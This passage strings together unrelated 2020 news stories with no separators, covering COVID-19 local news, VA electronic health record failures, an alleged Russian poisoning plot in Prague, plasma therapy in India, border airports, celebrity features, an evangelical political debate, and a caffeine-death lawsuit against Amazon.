of and already gradually lifted their lockdowns will also have a competitive advantage. China could be selling back into the world while we remain in lockdown. Wee have really good manufacturers who might be losing out because they cant do business. Thats one thing were watching. He praises the companies who have successfully reurposed what they do to help in the fight against Covid-19. I would hope people would remember this and say, here are companies who can do this kind of thing, so why are we always looking to China for the cheapest, cheap isnt always the best. If its a couple of pence dearer to buy local, youre keeping the local area employed and its an inward investment. But hes relieved the Execuive has returned. I have always been one to say in Chamber and outside, that we should have our own government in place, who should run it as we deserve it to be run, and not as a political playing field. If anything Covid-19 as shown the parties can work together, and I hope we can keep it moving forward. We dont need the background to be brought up time and time again in politics and in business, we need to keep moving forward. 'Construction is tough and enjoyable at the same time' Q. Whats the best piece of business advice youve ever been given? A. Dont assume anything. Q. What has been your best business decision? A. Joining the family business and working my way up through different roles. I have learned a lot from those I met and worked with along the way. Q. If you werent doing this job, what would be your other career? A. I always wanted to own a coffee shop. Q. What was your last holiday and where would you like to go next, once restrictions are lifted? A. Our most recent family holiday was driving down the West Coast of America last summer. We had plans to go to Spain this year but it looks like we might have to get the tent out and stay local. Q. What are your hobbies/interests? A. I enjoy running, keeping fit and outdoor activities with my family. Q. How do you sum up working in the construction sector? A. Interesting - the construction industry is tough but enjoyable at the same time. We have a lot of characters who could teach you a lot. Having cops show up at your home unexpectedly can sometimes be unnerving. Unless, of course, you were in Westampton, Burlington County over the weekend and ordered a pizza from them. To protect and serve took on a whole new meaning in the township of 8,600 Saturday when local police decided to buy a pizza and have it delivered for any resident who phoned in as thanks for adhering to stay-at-home orders during the coronavirus pandemic. Chief Stephen Ent said he and several of his officers even went above and beyond the call of duty and delivered some of the pies to the astonishment of families and workers waiting to tip a delivery guy. Ent estimates they gave out nearly 275 pizzas in just over two hours at a cost of about $2,000. Ent said the money came out of donations to the townships community policing fund. Meanwhile, the police department wanted to reward the community for adhering to stay-at-home orders for nearly two months and to raise spirits. The idea was, first we wanted to help out some of the local businesses, Ent said. Second, we wanted to make sure people continue to adhere to the stay-at-home order. And thirdly we just wanted to put smiles on peoples faces. We personally delivered to a few houses and left the rest up to the pizza delivery people. Ent said the department likes to give back to the community and think outside the box. Pizza box, one could surmise. The department teamed with Di Francesco, Old Village Pizza, and Pepperonis pizza shops. Ent said they told them about the plan a week before so they could have staff on hand to make and deliver the pizzas. But the officers still made sure to include a few special deliveries themselves. At one of the houses, there was a kid out in front with his dog, Ent said. It was pretty cool to see a cop jump out of a car with a pizza box and a mask. Not something you see every day." Ent said their police fund typically helps pay for National Night Out activities, which concludes in August with a town-wide festival. He said the coronavirus pandemic and resulting statewide shutdowns may make it impossible to do the same type of event in one central place like they have in the past. Ent said they put the word out for the pizza event on social media. The plan was for residents to call a police number, have officers take the order and phone in a batch at a time to the restaurants. The plan was so popular some callers had a hard time getting through and vented on social media. Ent said more lines were opened and he and his officers did everything they could to offer a little bit of comfort to residents who have also shown their appreciation for his department and local medical professionals with cleaning supplies, homemade masks, food and beverages. The coronavirus death toll in New Jersey climbed to 6,044 fatalities, with 111,188 cases statewide. The latest statistics include some continuing signs of hope that the outbreak has leveled off. The states 71 hospitals reported the number of patients with confirmed or suspected coronavirus cases declined for a sixth consecutive day to 6,407 patients as of Sunday night. Thats down 23% from the peak on April 14 of 8,293 patients. Have you seen an inspiring story in your community during this troubling time? Tell us about it. And, see more uplifting stories in #TogetherNJ. Staff writer Matt Arco contributed to this report. Please subscribe now and support the local journalism YOU rely on and trust. Bill Duhart may be reached at bduhart@njadvancemedia.com. A video has surfaced on social media in which a coronavirus patient has alleged that he was kept on a bed "next to dead bodies" at a hospital here, a charge refuted by authorities at the facility. The video circulating on WhatsApp and other networking platforms shows a man, wearing a mask, who apparently shot the video inside the ward of LNJP Hospital where he is admitted. In the video, he alleges that he was kept on a bed in a ward that had "dead bodies next to his bed" and that he was not getting good on time. LNJP authorities refuted the allegations, saying, this patient "required psychotherapy and counselling that was arranged for him. He is currently being attended to by specialists in the field". There was no problem of food or water in that particular ward or any other ward of the hospital, a senior official of the hospital said. "The issue of him being in the midst of dead bodies also appears to be incorrect as there has been no death reported from ward 27 on that day or the day prior to that," the official said. The LNJP is a dedicated COVID-19 facility in Delhi, run by the city government. No coronavirus death has been reported in Delhi in the last three days. In response to reports that nurses at the neighbouring GB Pant Hospital were not getting adequate facilities, and health kit was not being provided to a staff who came in contact with a COVID-19 patient, authorities said, the issue of the nursing staff of GB Pant Hospital has been resolved. "Immediate contacts of the COVID-positive patient have been provided suitable accommodation at GB Pant Hospital's nursing home and upgraded food facility has also been arranged for them," the official said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A $16 billion effort to give veterans lifetime electronic health records that meshed with the Pentagon's has been marked by repeated delays and oversight failures that could have put patients at risk, according to reports from the VA Inspector General. The IG reports released Monday detailed confusion in the overall implementation of the plan and failures to train staff and put in place adequate equipment for the pilot program, such as new laptops. The first IG report, titled "Deficiencies in Infrastructure Readiness for Deploying VA's New Electronic Health Record [EHR] System," looked at how the Department of Veterans Affairs went about implementing the initial $10 billion, 10-year contract with Cerner Corp. of Kansas. The VA now estimates that the contract, awarded in May 2018 by then-Acting VA Secretary Robert Wilkie without competitive bidding, will now cost at least another $6 billion for management and equipment. The second report focused on delays and failures in the pilot program, even after it was scaled back from three test sites to one at the Mann-Grandstaff VA Medical Center (VAMC) in Spokane, Washington. One of the main findings of the second report was that patient safety at the Spokane facility could have been put at risk due to poor preparation for the planned switchover to the Cerner system in the pilot program. The IG's report found that the VA and the Spokane leadership failed to hire and train adequate staff to handle the transition, and overlooked the impact on how the hospital would continue to function while the inevitable kinks in the system were worked out. Related: VA Electronic Health Records Still Aren't Compatible, and Lawmakers Are Angry "For example, online prescription refills, the most popular form for refilling prescriptions at the facility, was identified as a capability that would be absent when going live," the IG's report said of the pilot program at the Mann-Grandstaff VAMC. "The OIG determined that the multiple work-arounds needed to address the removal of an online prescription refill process presents a patient safety risk." In addition, the IG found that the VA's expanded program to allow veterans to choose community care -- made policy by the Mission Act of 2018 -- had suffered as the Spokane facility focused on the switchover to EHR. "The OIG identified that facility leaders addressed recent in-house access to care challenges within primary care, but a significant backlog of 21,155 care in the community consults remained as of January 9, 2020," the report said. Outrage on the Hill In May 2019, VA Secretary Robert Wilkie identified the transition to EHR as one of his top priorities, noting its potential "to change the way our veterans are treated, but also change the way we do business, to make the delivery of our services more efficient, make it more timely." In that same month, then-acting Defense Secretary Patrick Shanahan took a beating during a hearing of the House Defense Appropriations Subcommittee when he projected a possible four-year delay in implementing the transition. "I don't ever recall being as outraged about an issue than I am about the electronic health record program," Rep. Kay Granger, R-Texas, told Shanahan. "For 10 years we've heard the same assurances" that the electronic health records problem will be solved, Rep. Hal Rogers, R-Kentucky, said. "It's incredible that we can't get this fixed." Veterans were suffering "because of bureaucratic crap," he added. Over the years, previous attempts to mesh the EHR systems of the VA and DoD have either failed or been abandoned, most recently in 2013 when then-Defense Secretary Leon Panetta and then-VA Secretary Eric Shinseki dropped an integration plan after a four-year effort and about $1 billion spent. The goal of the new effort to integrate the records was to overcome the track record of failure by the VA and the DoD to meet a congressional mandate to bring their separate medical records systems in line with one another, ensuring a seamless transition for service members to civilian life. In its overview of the VA's latest attempt, the IG report noted that "there are tremendous costs and challenges associated with this effort." The Merger Under the current plan the VA's legacy information system -- Veterans Information Systems and Technology Architecture (VistA) -- would be replaced by Cerner's commercial off-the-shelf solution called "Millennium." The plan was to have VA's Millenium mesh with DoD's electronic health record system -- Military Health System (MHS) GENESIS -- which at its core also consists of Cerner's Millennium, the IG report said. The ultimate connection of VA and DoD's electronic health records "will result in a comprehensive, lifetime health record for service members," the report said, improving health outcomes by giving providers more complete information. However, the indefinite hold put on the pilot program in Spokane underlines the huge challenges ahead in implementing the transition as the nation seeks to recover from the coronavirus pandemic, the IG said. The report found widespread failure in VA's preparations to start up the new system in Spokane. "The lack of important upgrades jeopardizes VA's ability to properly deploy the new electronic health record system and increases risks of delays to the overall schedule," the report said. "Until modifications are complete, many aspects of the physical infrastructure existing in the telecommunications rooms [such as cabling] and data center do not meet national industry standards or VA's internal requirements." The VA's response essentially concurred with the findings and recommendations of the IG's overview and the separate report on the pilot program in Spokane. In his response, Dr. Richard Stone, executive in charge of the Veterans Health Administration, said that the VA was working to correct the problems with infrastructure and staffing noted by the IG. "I appreciate the concerns regarding mitigation strategies and capabilities of the new electronic health records [EHR] system," Stone said. He said that as the target date was approaching for the launch of the pilot program in Spokane, "Secretary Wilkie received feedback from clinical and technical staff." "He decided to postpone the Go-Live so that the system can provide the greatest functionality at Go-Live and VHA staff are confident in providing care with the new system with the least mitigation strategies," Stone said. -- Richard Sisk can be reached at Richard.Sisk@Military.com. Read More: Air Force Bombers Will Take to Skies for Health Care Salute Russia has rejected as slander a Czech media report of an alleged poisoning plot against Prague officials, including the city's mayor, as the Czech counterintelligence agency refuses to comment on the allegations. The investigative Czech weekly Respekt reported on April 26 that a suspected Russian intelligence officer had traveled to Prague more than three weeks ago with a suitcase containing the lethal toxin ricin. It quoted Czech security sources as saying the target of the poison plot was Prague Mayor Zdenek Hrib and a district mayor. The report comes amid fresh tensions between Prague and Moscow and suspicion that Russia was behind a recent wave of cyberattacks in the Czech Republic. However, Russia claimed it was the victim, not the Czech Republic, of a disinformation campaign. The Russian Embassy in Prague said on Facebook it "rejects such outrageous and false slander." In a post on April 27, the embassy added it had sent a note to the Czech Foreign Ministry highlighting what it claimed were "ongoing, unsubstantiated attacks on Russia and its embassy in Prague." Russian Foreign Ministry spokeswoman Maria Zakharova told Russian media on April 27 the report of the alleged ricin poisoning plot needed to be checked for misinformation. "Such things can't go unpunished," Zakharova said. The Czech Foreign Ministry called the Russian Embassy's note "inappropriate," saying it went against the independence of the media. The ministry "does not and will not interfere" with freedom of the press, it added. Ladislav Sticha, spokesman for the Czech counterintelligence agency BIS, declined to comment on the Respekt article by Ondrej Kundra. "We don't know the sources cited by Kundra, therefore BIS is declining to make any public comments on the allegations," Sticha told RFE/RL on April 28. In the report, Respekt said the suspected Russian intelligence agent arrived by plane in Prague 3 1/2 weeks ago. He was alleged to have traveled on a diplomatic passport. If so, under international diplomatic protocols, his bags would not have been checked by Czech immigration officials. According to Respekt, he was driven in a Russian Embassy vehicle to the Russian compound in the Czech capital, long suspected of being a center of espionage activities in the Central European country. Hrib and Prague 6 district Mayor Ondrej Kolar have confirmed they are under police protection due to unspecified threats. Hrib was a vocal backer of a decision two months ago to rename the square in front of the Russian Embassy complex after former Russian Deputy Prime Minister Boris Nemtsov, an outspoken critic of Russian President Vladimir Putin who was killed in 2015 near the Kremlin. Like Hrib, Kolar angered officials in Russia after his district on April 3 removed a statue of Marshal Ivan Konev, who led Red Army forces during World War II that drove Nazi troops from much of Czechoslovakia. Another Prague district mayor, Pavel Novotny, earned the ire of Moscow in November 2019 after he proposed erecting a monument to a World War II military division made up of Soviet defectors that fought alongside the Nazis but turned against them in the final days of the war and helped liberate Prague. Novotny confirmed to RFE/RL that he is now under police protection, but could not disclose more details. The alleged ricin poisoning plot is "totally" believable, Novotny said. "They are capable of something like that." Czech Foreign Minister Tomas Petricek has reportedly warned Russia's ambassador of consequences if anything happens to the Czech politicians. As possible payback, Czech officials suspect Russian hackers may have been behind a recent wave of cyberattacks. Earlier this month, Czech officials said information-technology systems at Prague's international airport, several hospitals, and the Health Ministry were targeted in the attacks, which sparked outrage in Prague as well as Washington. Coronavirus has no known cure and a vaccine is not likely to be market-ready before mid-2021. The treatments using existing drugs too have thrown up mixed results. But so far the best result has been from plasma therapy, where the blood plasma of a patient who is recovered from COVID-19 was transferred to the body of another patient. REUTERS Plasma therapy is based on the principle that the body of a COVID-19 patient will produce antibodies to protect itself from the virus and that can be collected and used to treat other patients. So far, there has been very limited use of plasma therapy in India, one in Delhi and two in Gujarat and all of them have shown good results. The patient in Delhi has recovered while the two others in Gujarat have shown significant progress in their condition. This has resulted in many more coming forward to donate plasma and experiment with the same. AFP But the Health Ministry on Tuesday said that currently plasma therapy is at an experimental stage and there is no evidence yet to support that it can be used as a treatment for COVID-19. Addressing a press briefing, Health Ministry Joint Secretary Lav Agarwal said currently there are no approved therapies for COVID-19 and there is not enough evidence to claim that plasma therapy can be used for treatment of the disease. There can even be life-threatening complications if #PlasmaTherapy is not used as per guidelines. Until and unless this is approved as a therapy for #COVID19, it is unjustified to spread any claim about the effectiveness of this therapy. - @MoHFW_INDIA 2/2https://t.co/SOv6C016jM PIB India #StayHome #StaySafe (@PIB_India) April 28, 2020 "ICMR has launched a national-level study to study the efficacy of plasma therapy in the treatment of COVID 19," he said. "Till ICMR concludes its study and a robust scientific proof is available, plasma therapy should be used only for research or trial purpose. If plasma therapy is not used in a proper manner under proper guidelines, then it can also cause life-threatening complications," said Agarwal. AFP Earlier, AIMIM chief Asaduddin Owaisi had said that as many as 32 people who recovered from COVID-19 in Telangana have come forward to donate their plasma. In his letter to Telangana Health Minister Etela Rajender, Owaisi furnished the details of the recovered patients and expressed hope that their contribution would go a long way in the government's efforts to treat coronavirus patients. Representational Image Delhi Health Minister Satyendar Jain said the results of plasma therapy on COVID-19 positive patients are "encouraging". "We have administered plasma therapy to six patients in Delhi so far. Four patients were given the therapy four days back. Those who were administered four days ago have almost recovered. All of them were critical patients and results are very encouraging," Jain said. The US and Canada share many things including lakes, rivers, a border, and even airports. Just like the natural wonders that refuse to adhere to political boundaries, strangely enough, the airports in this list have part of their facilities on the American side of the border, and the rest sitting in Canada. Here is a bit more to know about each facility. 4. Del Bonita/Whetstone International Airport The Del Bonita/Whetstone International Airport straddles the border between Del Bonita, Alberta and Del Bonita, Montana, which are both small towns with tiny populations, by urban standards. The airport toes the line so tightly that its sole runway sits exactly on the borderline. Del Bonita/Whetstone is officially owned by the state of Montana and is run by the Montana Department of Transportation Aeronautics Division. It is set up for use by the general public as well as the American military. Remaining low key, this airport focuses on smaller planes only that hold a maximum of fifteen passengers. 3. Coronach/Scobey International Airport This airport is situated on the border between Cronach, Saskatchewan in Canada and Scobey, Montana in the US. In addition to the name listed above, it is also known as East Poplar International Airport, just to confuse matters further. Interestingly, Coronach/Scobey International Airport has a runway that lies directly on the US/Canada border, just as the Del Bonita/Whetstone airport does, and it also handles smaller aircraft holding a maximum of fifteen passengers at a time. In a true show of teamwork, this airport is co-owned by both the American and Canadian governments. 2. Piney Pinecreek Border Airport Owned by the Minnesota Department of Transportation, the Piney Pinecreek Border Airport sits between the rural towns of Piney, Manitoba and Pinecreek, Minnesota. Of all the airports on this list, this one is the only one to have a paved runway, so if that matters to you as a pilot, keep it in mind as a destination. The Piney Pinecreek Border Airport has a bit of history to it. The story goes that originally, this airport sat entirely within the US, but the need to expand caused the runway to cross the border into Canada, with Canadas permission, of course. A variety of flyers are said to pass through this airport. They include hunters, fishermen and also tourists, presumably all heading towards the vast outdoors available to seekers in both Minnesota and Manitoba. 1. Avey Field State Airport The Avye Fields State Airport sits on the border between Washington State in the US, and Canadas province of British Columbia. It is privately owned and has a runway that extends 500 feet (150 m) into Canada. Built back in 1962, this airport was originally a spot to land in an emergency. It is unattended, and sees about 66 flights coming in per month. Airflight is a wonder of the modern world, even at tiny, shared airports. May you always have clear skies and safe landings. Shaun Williamson struggled with the attention that came with fame. (Photo by Dave J Hogan/Getty Images) Actor Shaun Williamson is instantly recognisable to millions for his role as Barry Evans on EastEnders, but it's a part that brought along some difficulties due to the show's popularity as he struggled to remain anonymous in public. He opened up about the pitfalls of fame on Paul Danan's Morning After podcast as the pair discussed the troubles they both faced when they became well-known in the UK. Williamson, 54, shared: "I know no one's going to get a violin out for us but nobody should ever underestimate what it's like to lose your anonymity. Read more: John Torodes kitchen on fire during live This Morning demo "It's quite heavy, you can't just slip into a pub and have a quiet pint anymore. And then you go into a pub for a very quiet pint and then a woman starts making a fuss over you and her boyfriend wants to knock you out." Actor Shaun Williamson played Barry Evans in EastEnders for nine years. (Photo by Andy Butterton - PA Images/PA Images via Getty Images) "And you've done nothing wrong. You're just trying to be nice," he added. The actor played Barry on the BBC soap from 1994 to 2004 with his character suffering an untimely death after wedding Janine Butcher (Charlie Brooks), who pushed him over a cliff edge. He went on star in Ricky Gervais' acclaimed series Extras as a fictionalised version of himself. Back in November, the star revealed how he believed he was living with a ghost in his house who hed named Dennis. Williamson phoned up pal Derek Acorah, who sadly died earlier this year, to ask for advice only for the medium to tell him the alleged spirit was actually a woman named Rosemary. Thanks to her role as Wonder Woman in the 2017 DC film, Gal Gadot has turned into a household name. The larger-than-life superhero Gadot played in Wonder Woman is being reprised in the sequel Wonder Woman 1984, recently rescheduled for release to movie theaters in August. Before the COVID-19 crisis set in in the U.S., Gadot interviewed with Vogue for their cover story. One area of the interview that shone brightly was when Gadot was cruising around Los Angeles in her favorite car: a Tesla. Gal Gadot has had a remarkable career Gal Gadot | Christopher Polk/Getty Images Born in Israel, Gadot started making a name for herself at age 18 when she was crowned Miss Israel 2004. After that, she began pursuing acting while in college and landed her first international role in 2009, playing Gisele Yashar in Fast & Furious. She reprised that role in the following Fast and Furious franchise movies and then got her start as Wonder Woman in 2016 in Batman v Superman: Dawn of Justice. This was the first live-action cinematic portrayal of Wonder Woman. She found her niche in the action category, starring in Triple 9, Criminal, and Keeping Up with the Joneses in 2016. The 2017 calendar year saw the release of Wonder Woman, the standalone superhero film in which Gadot held the iconic starring role. Many critics called the film the DC Universes best film, and it was certainly the most successful for the franchise thus far. Gadot followed that up with reprising the role of Wonder Woman in Justice League, which was released the same year. A successful actress needs a high-tech car Before the coronavirus pandemic changed our daily lives, we met with May cover star @GalGadot in LA to answer #73Questions. https://t.co/q51b58r34W Vogue Magazine (@voguemagazine) April 9, 2020 Gadot splits her time between L.A. and Israel, visiting her family as often as possible in her hometown of Petah Tikva. While in L.A., she favors her Tesla to drive around during the long commutes that the L.A. area demands. But even fancy cars like the Tesla arent immune from the chaos of motherhood; in her Vogue interview, the author noted that her car had toys on the floor and a sandwich on the passenger seat. Stars: they really are just like us. Gadot says in the interview that she loves her car and even takes a video call from her mother in Israel in the middle of driving around. They speak to each other in Hebrew, but Gadot relays to the interviewer that they were discussing the COVID-19 restrictions and ensuring each other that they were all being safe. Gadot says that driving around in the Tesla feels like driving an iPhone. Given the ease with which Gadot is able to keep in touch with her faraway family during a crisis like this, it seems comforting to have such a high-tech vehicle. Tesla is constantly making headlines Model 3 recently earned the 2020 IIHS Top Safety Pick+ Award. Winning cars are selected on their ability to protect people inside and outside the car Tesla (@Tesla) March 4, 2020 Much like Gadot, Tesla is always working at high speed. The company has been announcing new models of electric vehicles every year, most recently with the introduction of the Tesla Cybertruck, expected to hit the production line in 2021. The Model S is the companys most popular car, even winning Motor Trends title of Ultimate Car of the Year in 2019. Tesla recently announced that the Model S Long Range Plus had an EPA range of 390 miles, the highest range of an electric vehicle yet. For celebrities like Gadot who need to be in a million places at once to meet their busy schedules, driving a car like the Tesla Model S is an obvious choice. With all the high-tech features, it really is like driving around in an iPhone. Who wouldnt want to video chat with their family members from the comfort of their vehicle? California residents, activists, advocates and legislators called on Gov. Gavin Newsom to cancel rent and mortgage payments during the coronavirus outbreak to save low-income and working class individuals and families from homelessness. During a teleconferenced town hall meeting Monday afternoon, Newsom was called on to cancel the rents by several advocacy organizations throughout the state including Tenants Together, Housing Now!, the Alliance of Californians for Community Empowerment (ACCE) Action, Housing Is A Human Right, PICO California and the Partnership for Working Families. "The reality of it is people matter over profit, and today is a day to demonstrate that," Hayward City Councilwoman Aisha Wahab said. "I don't want to repeat the situation from the Great Recession. The banks kept all the homes and the people were impacted at the time." Wahab was one of several speakers who advocated on behalf of tenants and homeowners who have either already missed home payments or will soon miss one due to income loss because of the coronavirus outbreak. "We were already struggling before COVID-19 and we're struggling now," said Maria Guadalupe "Lupe" Arreola, executive director for Tenants Together. Organizers of the virtual town hall called for more than just eviction moratoriums. They asked the governor to take a step further and outright forgive rent and mortgage payments. Vannessa Bunes, a member of ACCE Action in Oakland, said federal stimulus checks and eviction moratoriums will not be enough for seniors, who are most at risk of contracting and dying from COVID-19. "Getting a bill four down the road for April, May, June and July would be more than $10,000," Bunes said. "My husband and I are senior citizens. We have more life behind us than ahead of us, so that kind of debt would throw us into homelessness." Christian leaders Eric Metaxas, David French debate evangelicals and Trump Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Two popular Christian figures, Eric Metaxas and David French, recently debated the evangelical case for and against President Donald Trump. French, The Dispatch senior editor, is a self-described conservative Never Trumper, while Metaxas, a conservative radio host and author, has been outspoken about his support of the Trump administration. Opening the debate moderated by Gabe Lyons during last weeks Q 2020 Virtual Summit, Metaxas explained that while he hated and despised Trump before the primaries, his mindset changed as he penned an op-ed for the New Yorker lightly mocking the now-president. I began to see him differently, he said. I was born in Queens, my family is working class. Something connected me with him, as though I was listening to a Jackie Mason or to some comedian who communicates in a different way ... I began to shift and began actually to be open to the idea that maybe he could, you know, represent Americans. Metaxas pointed out that famed theologian Martin Luther was a maniac who communicated in a crazy way that allowed him to connect with people who felt disenfranchised. I think when you see Trump in that context, things change, he said. The question is, can we see him in that context? The best-selling author also explained why he continued to support Trump after the Access Hollywood tape dropped in 2016 containing his lewd remarks about women. According to Metaxas, the viciousness of the opposition to Trump drove him deeper into his support of the then-nominee. He argued that such opposition was hypocritical, adding: Who among us has not said horrifying things? That level of viciousness blew my mind and made me think, perhaps I am missing something here. And perhaps, God chose Trump to shame the Church, he said. The Church had not been living out its faith in a way that was changing the world, that was sacrificial ... and that God, as He often does, reaches outside the camp to someone that will make our heads explode, and chooses him to shame us, to fight, because we decline to fight. French explained his own anti-Trump position by emphasizing that Christians are called to be salt and light in all areas of life. Theres no area in which you are not called to be an ambassador and a witness for Jesus Christ. Theres no area that you wall off from Christian ethics, none, no area," he said. He referenced his opposition to President Bill Clintons sexually immoral behavior in the '90s, pointing out that the Southern Baptist Convention roundly condemned such behavior at the time, stating: Tolerance of serious wrong by leaders sears the conscience of the culture, spawns unrestrained immorality, and also surely results in Gods judgment. Evangelicals quickly went from the group of people most likely to say that character mattered to in 2016 the group that said the least likely that character mattered, French explained. Now did the truth, the theological truths articulated in the Southern Baptist Convention statement change? No, they did not. What changed was the partisan imperative. What changed was the atmosphere of fear. In response, Metaxas argued that Trumps conservative policies, especially for the unborn, rise above his character flaws, noting, Obama ... is morally upstanding and hes a good family man and so on and so forth, and yet he did everything in his power to make it possible to murder the unborn in their mothers' wombs. He did everything he could to undermine biblical marriage. How do you give that a pass? French argued that while support for life is necessary, its not sufficient, explaining that for a candidate to earn my vote they have to be pro-life but just being pro-life by itself does not earn my vote. A person who is malicious, cruel, corrupt, incompetent. According to French, Americans dont just have two choices in the upcoming election, arguing they can exercise a veto and pick up the flag with a better candidate next time. He argued that many evangelicals voted for Trump due to fear that Americas about to end, evangelicals are ... isolated, were alone. Were the most powerful religious movement in the world, he stressed. We have veto power over the political fortunes of one of the two great political parties of the most powerful nation in the history of the world. And we act as if we are some kind of persecuted minority on the edge of extinction, and thats, I think, grotesque. Later in the debate, Metaxas acknowledged that ultimately, Americans dont need Trump they need God. However, he reiterated the argument that Trumps earlier sexual indiscretions and controversial communication style dont outweigh the benefits of his conservative policies. I simply dont see how anything that has been said here or has been said would get me to allow someone like Joe Biden or a Hillary Clinton to genuinely destroy America forever and we havent even touched on Kavanaugh, he said. Evangelicals have been largely divided on Trumps candidacy. A recent survey from Pew Research Center found that while white evangelicals remain a core support group of Trumps, many have a low view of his character and conduct. Just 15 percent of white evangelicals say morally upstanding describes the president very well; a quarter say honest is a very good descriptor of him; and fewer than a third say they like Trumps behavior. While 63 percent of white evangelicals prioritize political leaders sense of morality and ethics, 67 percent say its just as important that they stand up for people with their same religious beliefs. Recently, prominent SBC leader Albert Mohler made headlines after publicly reversing his anti-Trump position from 2016, revealing he will likely vote for Trump in November. In an interview with The Christian Post, pastor and author Tim Keller pointed out that many evangelicals particularly millennials currently feel homeless politically. Most people have to realize that both the Republican and Democratic party are for some good things the Bible would want you to be, he said. For example, the Bible says we should really care about economic and racial justice. The Bible also says that same-sex marriage and abortion are wrong. We should take a look at that. The Republicans' platform is strong on two of them and weak on two of them, and the Democratic platform is strong on two of them and weak on two of them. Which one is the Christian party? You can say one is more important than the other because in abortion someone loses their life and maybe thats decisive enough for you to vote for Republican candidates. But you cant hitch the entire Christian church to one of those because no party reflects the whole gamut of what the Bibles values are. Since the coronavirus outbreak began, dozens of workers from the three major airports in the New York City area have been infected, and at least 17 have died, union officials said. Those still on the job are afraid they could be next. Most of the workers earn less than $20 an hour and do not have health insurance, because the cost of the coverage was more than they could afford on their salaries, they say. Four of those who died worked for LSG Sky Chefs, a large catering operation at Kennedy International Airport, and two worked for United Catering at Newark Liberty International, their union said. The others had a range of duties, from pushing travelers in wheelchairs to restocking airplane galleys. Its not clear if they contracted the virus on the job. But workers who got sick said they had been worried about their working conditions. Manuel Fernandez, 64, who works at Kennedy, had given little thought to medical bills while he struggled to survive at Columbia University Irving Medical Center in Manhattan. Note: The U.S. Department of Agriculture confirmed the first case of coronavirus in a dog a German shepherd in New York June 2. The USDA tested Winston "but were unable to verify infection," agency representative Lyndsay Cole told USA TODAY. After several members of a North Carolina family tested positive for the new coronavirus, they found out their pet pug tested positive, too, possibly the first dog in the United States to be diagnosed with the virus. But owner Heather McLean, a hospital pediatrician and vice chair and associate professor at Duke University, hopes that it doesnt spark too much concern over household pets contracting and spreading the virus. The McLeans discovered Friday that their pug, Winston, tested positive for COVID-19. He didnt display any severe symptoms before they found out, said McLeans 17-year-old daughter, Sydney. Two things did stand out to the family, though: My dad heard him cough a lot, she said. He didnt eat his breakfast one morning and its weird because hes a pug, but who knows? Heather and her husband, Sam, who works as a researcher and emergency physician at UNC-Chapel Hill, started developing mild symptoms in mid-March. She attributed her own symptoms scratchy throat and mild headache among them to allergies, but they worsened for a bit. We didnt do a good job of distancing ourselves, she told USA TODAY. Were having college and high school in our house too, and we realized our son also had mild symptoms. Our daughter didn't have any symptoms. The family eventually recovered and enrolled in a study led by Dr. Chris Woods, a virologist and one of Heather's colleagues at Duke. Winston the pug gets tested for coronavirus while Sydney McLean, 17, holds her. Every week since the beginning of April, a team of researchers has come to their house to perform blood tests and nasal swabs for the family. "On the first day," Heather explained, "they nasal swabbed all the pets the two dogs and the cat. Woods told NBC News that Winston may be the first dog nationwide to have a confirmed case of the virus. Fortunately, the other two creatures tested negative. Story continues Winston has since fully recovered and has been acting like himself." Hes a very sweet animal; were very lucky to have him quarantined with us, said Heather. She hopes that her familys bout of coronavirus has a small silver lining both in learning how coronavirus manifests in pets, and in contributing to further research on how coronavirus can be treated in humans. And for anyone concerned about their pets contracting coronavirus, both Sydney and Heather advise not worrying too much about them. Were not seeing an epidemic of household pets or them transmitting it to other humans and animalswe just happened to detect it in our dog, Heather said.. Try not to worry too much about your pets, Sydney added. Theres too much to worry about. Multiple veterinary experts, including representatives from the American Veterinary Medical Association, have previously said that there is no evidence yet that the coronavirus can spread from an infected pet to a human. Contributing: Ian Richardson, USA TODAY Follow Joshua Bote on Twitter: @joshua_bote This article originally appeared on USA TODAY: Pug tests positive for coronavirus, possibly the first dog in the U.S. The tablighi members who were tested positive for coronavirus after an event in New Delhi which was attended by thousands, are now coming forward to donate their plasma for treatment of other patients. The Tablighis were earlier branded as "super-spreaders" and vilified by a certain section of the society and media, to an extent that the minority community was blamed for the spread of the pandemic in India. The community since then has faced a spate of violence and boycott, which only worsened over a period of time. However, as the holy month of Ramzan began, the Tablighi members who have recovered are stepping forward to help the same people who had earlier targeted them for spreading the infection. BCCL After Lok Nayak Hospital, The All India Institute of Medical Sciences (AIIMS) is set to start plasma therapy for those with severe COVID-19 infections. According to a report by news agency PTI, those who have come forward to donate their plasma have recovered from COVID-19 at the Sultanpuri and Narela quarantine centres. Many more have volunteered to donate their plasma, they added. In the therapy, transfusion of plasma from recovered patients to severally-ill COVID-19 patients is conducted. Convalescent plasma is an experimental procedure for coronavirus patients. Sources said several Tablighi Jamaat members at different quarantine centres have also volunteered to donate their plasma for the recovery of COVID-19 patients. The move comes after an appeal was made by Chief Minister Arvind Kejriwal last week to patients, who have successfully recovered from coronavirus, to donate their plasma for treatment of COVID-19 patients. Representational Image Kejriwal said the initial results of plasma therapy on critically-ill COVID-19 patients have shown "encouraging" initial results. The Tablighi Jamaat, a religious organisation in south Delhi's Nizamuddin came under intense attack for the spread of coronavirus after it allegedly organised a congregation after the lockdown and even when the Delhi government had imposed curbs before it. The Tablighi Jamaat congregation which took place in March was attended by nearly 9,000 people, including foreign nationals. After that hundreds of Tablighi Jamaat followers were quarantined at different centres and many were booked for alleged misbehavior with the staff there. Columbus, Ohio Logan Stiner was just days from high school graduation when his brother found him unresponsive in their family's home southwest of Cleveland in May 2014. Stiner, 18, died of cardiac arrhythmia and seizure from acute caffeine toxicity, a coroner ruled. He had more than 70 micrograms of caffeine per milliliter of blood in his system as much as 23 times the amount found in the system of a typical coffee or soda drinker. What's undisputed is that Stiner ingested powdered caffeine given to him by a friend who bought it on Amazon and was using it as a "pre-workout" boost. The question is what, if any, liability Amazon had in Stiner's death. The Ohio Supreme Court plans Wednesday to hear arguments for and against a lawsuit brought by Stiner's family arguing that the online retail giant, as the company that shipped the product, should be held responsible under Ohio product liability law. A decision isn't expected for several weeks. Attorneys for Stiner's father say the company was not a "neutral platform" in the powder's sale but promoted it, introduced it to Stiner's friend as a customer and played an "indispensable role" in its sale. "The idea that Amazon cannot be a 'supplier' because it did not physically touch or take title to the product at issue ignores both the manner in which e-commerce is conducted today and Amazon's crucial role in recommending the deadly powder," Brian Balser, a lawyer for Dennis Stiner, said in written arguments last year. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Lawyers for Amazon say the company doesn't meet the definition of a supplier under Ohio law 